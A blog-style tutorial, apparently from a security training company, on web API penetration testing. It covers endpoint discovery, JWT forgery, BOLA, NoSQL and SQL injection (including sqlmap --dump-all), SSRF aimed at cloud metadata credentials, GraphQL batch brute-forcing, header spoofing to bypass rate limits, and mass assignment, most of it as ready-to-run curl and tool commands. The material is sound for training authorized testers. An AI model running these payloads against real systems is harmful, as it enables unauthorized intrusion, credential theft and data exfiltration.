Web API Pentesting: Finding & Exploiting API Vulnerabilities

Web APIs are the backbone of modern applications. They power mobile apps, SaaS platforms, microservices, and everything in between. But that ubiquity comes with a cost: APIs are increasingly the primary attack surface in real-world breaches. Unlike traditional web applications, APIs often expose raw business logic, lack proper input validation, and suffer from broken access controls that are trivially exploitable once you know what to look for.

This guide walks through Web API pentesting the way experienced professionals actually approach it, not with point-and-click tools, but with deliberate methodology, sharp tooling, and an understanding of how APIs fail in production environments. Whether you are preparing for a client engagement or sharpening your skills through a structured program like those at Redfox Cybersecurity Academy, this post will give you a realistic picture of how API assessments work end to end.

Reconnaissance and API Discovery

Before you can test an API, you need to find it. Modern applications rarely document every endpoint cleanly, and shadow APIs are surprisingly common.

Passive Discovery

Start with JavaScript file analysis. Frontend bundles routinely leak internal API paths, authentication tokens, and endpoint structures.

# Extract URLs and endpoints from JS files using LinkFinder
python3 linkfinder.py -i https://target.com -d -o cli


[cta]

Combine this with scraping the Wayback Machine for historical API endpoints that may still be live:

# Pull archived URLs for a target domain
gau target.com | grep -iE "(api|v1|v2|v3|graphql|rest|json)" | sort -u


[cta]

Active Discovery with Gobuster and Kiterunner

Standard directory brute-forcing misses a lot with APIs because HTTP verbs matter, not just paths. Kiterunner is purpose-built for this.

# Kiterunner - API-aware brute forcing with real-world wordlists
kr scan https://api.target.com -w /opt/wordlists/routes-small.kite --fail-status-codes 401,403,404

# Gobuster in dir mode for REST paths
gobuster dir -u https://api.target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -x json -t 40 -b 404,400


[cta]

Also check for OpenAPI or Swagger documentation exposed publicly, as these hand you the entire attack surface on a platter:

/swagger.json
/openapi.yaml
/api-docs
/v1/api-docs
/.well-known/openapi


Authentication and Authorization Testing

API authentication is where most critical vulnerabilities live. The OWASP API Security Top 10 puts broken object-level authorization (BOLA) and broken authentication in the top three for good reason.

JWT Manipulation and Algorithm Confusion

JSON Web Tokens are everywhere in API authentication, and implementations are frequently broken. The none algorithm attack and the RS256-to-HS256 confusion attack remain valid in many production environments.

# Craft a JWT with "alg: none" using PyJWT
import jwt

payload = {"user_id": 1, "role": "admin", "email": "attacker@evil.com"}
token = jwt.encode(payload, "", algorithm="none")
print(token)


[cta]

For RS256 to HS256 confusion, grab the server's public key and sign a forged token with it as an HMAC secret:

# Fetch public key from common exposure points
curl https://target.com/.well-known/jwks.json
curl https://target.com/api/auth/public-key

# Forge token using the public key as HMAC secret
python3 jwt_tool.py <existing_token> -X k -pk public.pem


[cta]

The jwt_tool is indispensable here. It automates confusion attacks, key injection, and claim tampering across a range of JWT vulnerabilities.

Broken Object Level Authorization (BOLA / IDOR)

BOLA is the single most common critical API vulnerability. The test is conceptually simple: can user A access user B's resources by manipulating object identifiers?

# Intercept a legitimate request and swap the user ID
curl -s -X GET "https://api.target.com/v1/users/10482/orders" \
 -H "Authorization: Bearer <user_a_token>" \
 -H "Content-Type: application/json"

# Try another user's ID
curl -s -X GET "https://api.target.com/v1/users/10483/orders" \
 -H "Authorization: Bearer <user_a_token>" \
 -H "Content-Type: application/json"


[cta]

Automate this at scale with Autorize (a Burp Suite extension) or write a quick Python loop hitting sequential IDs. If the response body changes between IDs and returns valid data, you have confirmed BOLA. This is exactly the type of finding that Redfox Cybersecurity engineers uncover routinely during API security assessments.

Broken Function Level Authorization

This is the vertical equivalent: can a low-privilege user call admin-only endpoints? Test by taking a standard user token and hitting endpoints that should be restricted.

# Standard user hitting an admin endpoint
curl -s -X DELETE "https://api.target.com/admin/v1/users/10482" \
 -H "Authorization: Bearer <standard_user_token>"

# Try HTTP verb tampering -- some APIs enforce auth only on GET/POST
curl -s -X PUT "https://api.target.com/admin/v1/roles/assign" \
 -H "Authorization: Bearer <standard_user_token>" \
 -d '{"user_id": "10482", "role": "admin"}'


[cta]

Injection Attacks Against API Parameters

APIs pass data directly into databases, operating systems, and external services. Injection remains highly relevant and frequently overlooked in API-specific assessments.

NoSQL Injection

REST APIs commonly back their data with MongoDB or similar NoSQL databases. The injection syntax differs from SQL but the impact is identical.

# Basic MongoDB operator injection via JSON body
curl -s -X POST "https://api.target.com/v1/auth/login" \
 -H "Content-Type: application/json" \
 -d '{"username": {"$ne": null}, "password": {"$ne": null}}'

# Extract data via $regex
curl -s -X POST "https://api.target.com/v1/auth/login" \
 -H "Content-Type: application/json" \
 -d '{"username": "admin", "password": {"$regex": "^a"}}'


[cta]

SQL Injection via API Parameters

APIs often forward query parameters directly into SQL queries without sanitization. Sqlmap can be pointed at API endpoints with custom headers.

# Point sqlmap at an API endpoint with Bearer auth
sqlmap -u "https://api.target.com/v1/products?category=electronics" \
 --headers="Authorization: Bearer <token>" \
 --level=5 --risk=3 \
 --dbms=postgresql \
 --technique=BEUSTQ \
 --dump-all


[cta]

For more surgical testing, especially when you want to avoid noise, use manual payloads via curl and observe timing differences or error messages:

# Time-based blind SQLi probe
curl -s -G "https://api.target.com/v1/products" \
 --data-urlencode "category=electronics'; SELECT pg_sleep(5);--" \
 -H "Authorization: Bearer <token>"


[cta]

Server-Side Request Forgery in API Integrations

SSRF is particularly dangerous in API-heavy architectures because microservices communicate internally over HTTP, and many internal endpoints have no authentication. Find parameters that accept URLs and probe them.

# Test for SSRF via a webhook or callback parameter
curl -s -X POST "https://api.target.com/v1/integrations/webhook" \
 -H "Authorization: Bearer <token>" \
 -H "Content-Type: application/json" \
 -d '{"callback_url": "http://169.254.169.254/latest/meta-data/"}'

# Cloud metadata via AWS IMDSv1 (still common)
curl -s -X POST "https://api.target.com/v1/fetch" \
 -H "Content-Type: application/json" \
 -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'


[cta]

If you are working toward a professional certification in this space, the structured labs at Redfox Cybersecurity Academy cover SSRF, injection, and authorization flaws in depth within real API environments, not contrived toy applications.

GraphQL-Specific Testing

GraphQL APIs deserve their own section because they expose an entirely different attack surface compared to REST.

Introspection Query Abuse

When introspection is enabled in production (which it should never be), you get the entire schema for free.

# Full introspection dump
curl -s -X POST "https://api.target.com/graphql" \
 -H "Content-Type: application/json" \
 -d '{"query": "{ __schema { queryType { name } types { name fields { name args { name type { name kind ofType { name kind } } } } } } }"}'


[cta]

Use graphql-voyager or InQL (Burp extension) to visualize the schema and identify sensitive mutations that should not be exposed.

Batching Attacks for Rate Limit Bypass

GraphQL allows query batching, which lets you send hundreds of operations in a single HTTP request. This trivially bypasses rate limiting on brute force protections.

# Batch login attempts in a single GraphQL request
curl -s -X POST "https://api.target.com/graphql" \
 -H "Content-Type: application/json" \
 -d '[
   {"query": "mutation { login(email: \"admin@target.com\", password: \"password1\") { token } }"},
   {"query": "mutation { login(email: \"admin@target.com\", password: \"password2\") { token } }"},
   {"query": "mutation { login(email: \"admin@target.com\", password: \"abc12345\") { token } }"}
 ]'


[cta]

Rate Limiting and Business Logic Flaws

Rate limiting is almost universally weak in API implementations. Beyond brute force, business logic flaws in APIs can have severe financial or operational consequences.

IP Rotation and Header Spoofing to Bypass Rate Limits

# Rotate X-Forwarded-For headers to spoof source IP
for i in $(seq 1 100); do
 curl -s -X POST "https://api.target.com/v1/auth/forgot-password" \
   -H "Content-Type: application/json" \
   -H "X-Forwarded-For: 10.0.0.$i" \
   -d '{"email": "victim@target.com"}'
done


[cta]

Also test X-Real-IP, X-Client-IP, and CF-Connecting-IP as bypass vectors. Many API gateways trust these headers without validation.

Mass Assignment

Mass assignment occurs when an API binds user-supplied JSON directly to a data model without filtering. Look for parameters in responses that are not present in request documentation.

# Standard registration request
curl -s -X POST "https://api.target.com/v1/users/register" \
 -H "Content-Type: application/json" \
 -d '{"username": "attacker", "email": "attacker@evil.com", "password": "Password1!"}'

# Mass assignment attempt -- inject role or verified fields
curl -s -X POST "https://api.target.com/v1/users/register" \
 -H "Content-Type: application/json" \
 -d '{"username": "attacker", "email": "attacker@evil.com", "password": "Password1!", "role": "admin", "email_verified": true, "subscription_tier": "enterprise"}'


[cta]

If the application reflects those injected fields back or grants elevated privileges, you have confirmed mass assignment. It is a straightforward finding but one that frequently goes unnoticed in development because the API does not throw an error.

Tooling Summary for API Pentesting

A professional API assessment draws from a focused toolkit. Here is what a real engagement looks like:

• Burp Suite Professional with InQL, Autorize, and Param Miner extensions
• Kiterunner for API-aware endpoint discovery
• jwt_tool for JWT attack automation
• ffuf for fast parameter and path fuzzing
• Arjun for hidden parameter discovery
• sqlmap targeted at API endpoints
• gau and waybackurls for historical endpoint discovery
• Postman or Insomnia for manual API interaction and collection management

# Arjun - discover hidden GET/POST parameters
arjun -u https://api.target.com/v1/users/search --stable -oJ params.json

# ffuf for header fuzzing
ffuf -u https://api.target.com/v1/admin -H "X-Internal: FUZZ" \
 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
 -mc 200,302


[cta]

For teams looking to embed this methodology into their security program or validate their API estate against real-world attack techniques, the professionals at Redfox Cybersecurity offer comprehensive API penetration testing engagements tailored to your architecture.

Key Takeaways

Web API pentesting is one of the highest-value disciplines in offensive security right now. Organizations are shipping APIs faster than they are securing them, and the gap between what developers understand about security and what attackers understand about APIs is growing.

The methodology outlined here reflects how professional engagements actually work: start with thorough discovery, attack authentication and authorization before anything else because that is where critical findings live, then move into injection and business logic. Document everything with raw request and response evidence.

If you want to build this skillset systematically, Redfox Cybersecurity Academy offers hands-on courses built around real API environments, covering everything from basic REST security to advanced GraphQL exploitation and microservices attack chains.

API security is not a checkbox. It is an ongoing discipline, and the difference between finding a critical flaw and missing it comes down to methodology, tooling, and practice.